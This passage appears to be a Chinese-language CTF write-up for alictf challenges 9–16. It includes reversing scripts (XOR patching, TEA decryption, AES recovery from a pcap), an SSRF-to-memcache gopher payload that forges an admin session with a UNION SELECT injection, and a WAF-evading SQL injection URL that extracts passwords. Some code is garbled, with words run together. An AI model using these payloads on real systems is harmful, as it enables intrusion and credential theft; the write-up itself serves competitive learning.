9. uglycode
調用函數的地址都是通過下列方式算出來的,不過a1=2,所以手動算下跳轉地址即可。
程式中有幾處代碼需要異或解密出來:
fromidaapi import *
defdecrypt(start, end, xor_data):
for i in range(start, end):
a = get_byte(i)
patch_byte(i, a^xor_data)
decrypt(0x603440,0x603440+250, 0x49)
decrypt(0x603740,0x603740+672, 0x7e)
decrypt(0x603a00,0x603a00+0x1fd, 0xef)
最後有4位不確定,通過md5進行爆破。
f ='35faf651b1a72022e8ddfed1caf7c45f'
defmd5(src):
m2 = hashlib.md5()
m2.update(src)
return m2.hexdigest()
for i1 inrange(0x20, 0x80):
for i2 in range(0x20, 0x80):
for i3 in range(0x20, 0x80):
for i4 in range(0x20, 0x80):
f2 ='M'+chr(i1)+chr(i2)+chr(i3)+chr(i4)+'A1w4ys_H3re'
if md5(f2) == f:
print f2
break
flag為:alictf{Pr0bl3M_1s_A1w4ys_H3re}
10. debug
雙進程保護,首先看父進程,比較簡單
主要就是在子程式兩個地方停下來時,修改一下記憶體。
簡單對程式進行手動patch之後,就可以對子進程調試。
分析演算法,發現是進行了一個tea加密,然後異或了一個0x31,之後與固定的字串進行比較。
此處的tea與標準的tea有所區別,主要是輪次,由32變成了128,稍微改改tea的解密程式就可以正常解密了。
from zioimport *
f =open('./debug', 'rb')
d =f.read()[0x7030:0x7030+0x10]
d2 = ''
for i inrange(0x10):
d2 += chr(ord(d[i])^0x31)
printHEX(d2)
#5dff17ed14f787e92842a1dc0a97f732
#include
voiddecrypt(unsigned long *v, unsigned long *k) {
unsignedlong y=v[0], z=v[1], sum=0xC6EF3720, i; /* set up */
sum =0x1bbcdc80;
unsignedlong delta=0x9e3779b9; /* a key schedule constant */
unsignedlong a=k[0], b=k[1], c=k[2], d=k[3]; /* cache key */
for(i=0;i<128; i++)
{ /*basic cycle start */
z -=((y<<4) + c) ^ (y + sum) ^ ((y>>5) + d);
y -=((z<<4) + a) ^ (z + sum) ^ ((z>>5) + b);
sum -=delta; /* end cycle */
}
v[0]=y;
v[1]=z;
}
voidmain()
{
unsigned long plain2[2] = {0xed17ff5d,0xe987f714};
decrypt(plain2, key);
printf("%08x%08x", plain2[0],plain2[1]);
unsigned long plain3[2] = {0xdca14228,0x32f7970a};
decrypt(plain3, key);
printf("%08x%08x\n", plain3[0],plain3[1]);
}
flag為c6bf3d7cdad82ea712cea62cccbafddf
11. timer
這個題lib裡面好像沒有什麼東西,調用stringFromJNI2函數只要傳入正確的數字即可打出flag,爆破的話估計成功率不高。所以重點還是在找出正確的數字上。
主要邏輯如
簡單看了一下可以得出結論,上面的這段代碼沒一秒鐘運行一次,而this.beg給出的逾時時間為200000秒。如
也就是說只要讓應用連續運行200000秒就可以出現flag。。。
當然直接啟動並執行話估計就沒分了。分析一下上面的邏輯可以得出下面的python代碼。
其中is_prime的代碼為
直接從apk裡拷貝過來改了改。最終求出k為1616384,傳到stringFromJNI2就可以了。
傳遞參數的時候優先可以考慮hook的方法,不過當時手頭沒有合適的手機,就退而求其次採取直接修改smali代碼重新打包運行。
用Andoird killer開啟apk,首先修改MainActivity.smali為,使得k值預設為1616384。
之後修改MainActivity$1.smali的兩個地方,第一個地方是修改判斷調試使程式直接執行stringFromJNI2,第二個地方注釋掉時間更新、使這段代碼只運行一次。
最後安裝上apk運行就行了,我把背景變成白的了,要不然字看不清。
12. LoopAndLoop
這個題的主要邏輯如,只要輸入正確的數字,就能得到flag。
看一下lib中的check函數,主要邏輯如,原來是lib中的check函數會迴圈調用java層中的check1、check2、check3函數。在這裡有幾點需要注意,在這裡實際調用的_JNIEnv::CallIntMethod函數實際有5個參數,ida識別不全只列出3個,第4個參數是傳入check函數的第1個參數,第5個參數是傳入check函數的第2個參數減1(不是參數本身!!)
Java層中的這三個check函數就是做了一些簡單的迴圈加減法,翻譯成python如
最後列印出的就是正確的數字236492408(我知道等差數列可以直接求和但是我懶),輸入apk中即可得到flag。
13. Steady
這個題是一個純Native的apk應用,相關原理可以參考:
http://www.cnblogs.com/hicjiajia/archive/2011/01/20/1940022.html
這個題用了比較糾結的ollvm混淆,全部是使用while迴圈和關鍵字判斷來的,看了挺長時間。
這個題大概是一個遊戲,該apk運行時會檢測手機的角度,然後在角度變換的時候在adb的log中打出相應結果,,同時螢幕會變色,如果角度正確螢幕就變為綠色。
經過研究代碼,發現螢幕的三個角度會傳入a_process函數,之後a_process函數的傳回值會與另一個數組進行比較,關鍵代碼如下面三幅圖
考慮到此時的三個角度為唯一的輸入變數,而a_process的傳回值為角度唯一影響的變數,遂考慮修改a_process的傳回值達到偽造輸入的目的。將a_process的傳回值依次改為數組中的值,可以成功運行到輸出flag的代碼。
但是此時輸出的flag為亂碼,考慮其他原因。
通過研究a_process函數,發現其能夠返回的最大值為6,而數組中出現了7和9。
繼續研究代碼,發現b_process的運行結果會與a_process的運行結果相加
同時發現只有當a_process返回6時才會執行b_process,如
於是考慮當需要修改為7和9的時候,把a_process的傳回值修改為6,同時修改修改b_process的傳回值分別為1和3,最終得出flag為alictf{PvrNa7iv3Ap6}
14. ColorOverFlow
流量包,把apk抓下來
#!/usr/bin/env python
from scapy import*
from scapy.all import*
import io
import struct
import sys
b = io.BytesIO()
rawpcap = rdpcap(sys.argv[1])
rawpcap = [_ for _ in rawpcapifTCP in_ and_[TCP].dport == 5555and _[IP].src =="10.0.2.2" and Rawin _[IP]]
rawpcap = next( rawpcap[i+1:] for i,p in enumerate(rawpcap) ifRaw inp andp[Raw].load.find('/data/local/tmp') !=-1 andp[Raw].load.find('SEND') != -1)
rawpcap = next( rawpcap[:i] for i,p in enumerate(rawpcap) ifRaw inp andp[Raw].load.find('pm \'install\'') != -1)
print(len(rawpcap))
#b.write(''.join([p[Raw].load[24:] for p inrawpcap if Raw in p ]))
for p in rawpcap:
if Rawin p:
data = p[Raw].load
if data.startswith('WRTE'):
data = data[24:]
b.write(data)
b.seek(0)
#print b.read()
a = open('out.apk','wb')
header = b.read(8)
while header != "":
tag, datalen =struct.unpack('<4sI',header)
if tag== "DATA":
a.write(b.read(datalen))
else:
break
header = b.read(8)
a.c lose()
逆演算法,aes和md5,寫了個py還原如下
import hashlib
from Crypto.Cipher import AES
def hex2bytes(s):
r=s.decode("hex")
a=[]
for i in r:
a.append(ord(i))
return a
def fix(a,b):
v0=0
v8=8
v2=[]
v3=[]
for i in range(len(a)):
v2.append(0)
for i in range(v8):
v3.append(0)
for v1 in range(0,v8):
v3[7-v1]= 255& b
b=b>>v8
while v0
v2[v0]=ord(chr(a[v0]^ v3[v0%8]))
v0+=1
return v2
def pre(arg6):
a=[]
for i in range(0,len(arg6),2):
a.append(int(arg6[i]+arg6[i+1],16))
return a
def showlist(a):
for i in a:
if i >=128:
print i-256,
else:
print i,
print ""
androidId = "bb39b07060deabd5"
timestamp=1463149196345
iv =fix(hex2bytes("46514BF9F2B3CD3BF580B7CD9BAE4514"), timestamp)
showlist(iv)
encryptedData = hex2bytes("DA2990BF15B7FD98A4E73EF766CD714F6F63B2E7F270C55F0CAF7E704CA7702F")
showlist(encryptedData)
temp=hashlib.md5(androidId).hexdigest()
key = pre(temp)
showlist(key)
content1=""
key1=""
iv1=""
for i in encryptedData:
content1=content1+chr(i)
for i in key:
key1=key1+chr(i)
for i in iv:
iv1=iv1+chr(i)
obj = AES.new(key1,AES.MODE_CBC, iv1)
print obj.decrypt(content1)
15. Recruitment(II)
烏雲上的文章不少:
http://drops.wooyun.org/tips/16357
http://drops.wooyun.org/papers/13948
http://drops.wooyun.org/papers/8261
首先搭建環境測試ssrf,先折騰一下VPS,漏洞在提交照片URL的地方,給別的尾碼會出錯,修改Apache設定檔,讓jpg尾碼也可以當php運行:
加一個jpg的就好了。
本地構造xxx.jpg,測試:
提交url:
測試成功。
反彈sh未果,進行多種內網協議測試未果,在本地11211連接埠上發現啟動並執行memcache,限定本機訪問,目測打這個。
進行ssrf訪問memcache後,回顯會在index.php的圖片上體現出來,下載圖片查看即可。
使用version指令擷取到版本資訊:VERSION1.4.14 (Ubuntu)
使用stat items擷取到4種id的items:
然後要取內容:
而後:
header('Location: gopher://127.0.0.1:11211/_get%20123123.lock%0aget%20v7j9fqjd87ahllrt3nuamn3860%0aget%201a7ippv1hln313834vkqeck2a1%0aget%203ftrcl490ovko8fkjmrsub5ub6%0aget%20luqfvoniepg4m38u4h1m4p2l94%0aget%20b27dfchc0lbkvdhv6s4qutt1t6%0aget%20ldq98pp1eqn3bcl28esca6doj7%0aget%207ve2m51ho3ik2phntbbf6mda45.lock%0aget%20hos82c41uh5c5vcbsoorv7cv47.lock%0aget%20e6lbcsnd1jqlkcdlpksdqa5653.lock%0aget%20tv2b4vad0ea9itqkk3h5a35lg2.lock%0aget%203q4b3tclao3odc5thdhr6fq2l7%0aget%200mq7lftahvoeb0rl428b4tagr1%0aget%207ve2m51ho3ik2phntbbf6mda45%0aget%20vm3tf5drmvnp2f508vrourden4%0aget%20e6lbcsnd1jqlkcdlpksdqa5653%0aget%20hos82c41uh5c5vcbsoorv7cv47%0aget%20tv2b4vad0ea9itqkk3h5a35lg2%0aquit%0a');
?>
發現session存到了這裡。通過set指令進行修改,將is_admin改成1,成功登陸admin。
需要執行的指令序列:
產生jpg:
成功登陸/admin,發現memo,嘗試修改session裡的ip為127.0.0.1 然後通過gopher發送http請求去訪問memo.php,但依然提示非local user,這時候發現backup.php,訪問得到全站源碼發現了注釋的備份檔案,下載,審計,waf過濾的比較嚴格,但是session沒有被過濾,通過ssrf+memecache可以修改session的
使用unionselect注入,測試為7列,構造payload,修改session,訪問index.php,擷取flag(庫表名源碼中已給出):
header('Location:gopher://127.0.0.1:11211/_set%20gfe2m51ho3ik2phntbbf6mda45%200%200%20177%0d%0agtserver|i:1;captcha_id|s:11:"captcha_110";is_login|b:1;is_admin|b:1;user_ip|s:14:"218.29.102.114";username|s:61:"dfah\'%20union%20select%201,content,3,4,5,6,7%20from%20memo%20where%20\'1\'=\'1";%0d%0aquit%0d%0a');
?>
16. Findpass
註冊帳號發現是有個message的留言板
然後試了下使用者名稱處的xss。
收了一早上的cookie
一波思路
之後發現HHHH可以覆蓋註冊
http://114.55.1.176:4458/detail.php?user_name=HHHH
user_name存在注入,根據xss到的構造payload
payload:
http://114.55.1.176:4458/detail.php?user_name=HHHH%27%0aununionion%0aselselectect%0auser_pass,2,3,4%0afrfromom%0atest.users%0aununionion%0aselselectect%0a1,2,3,4%0aoorr%0a%271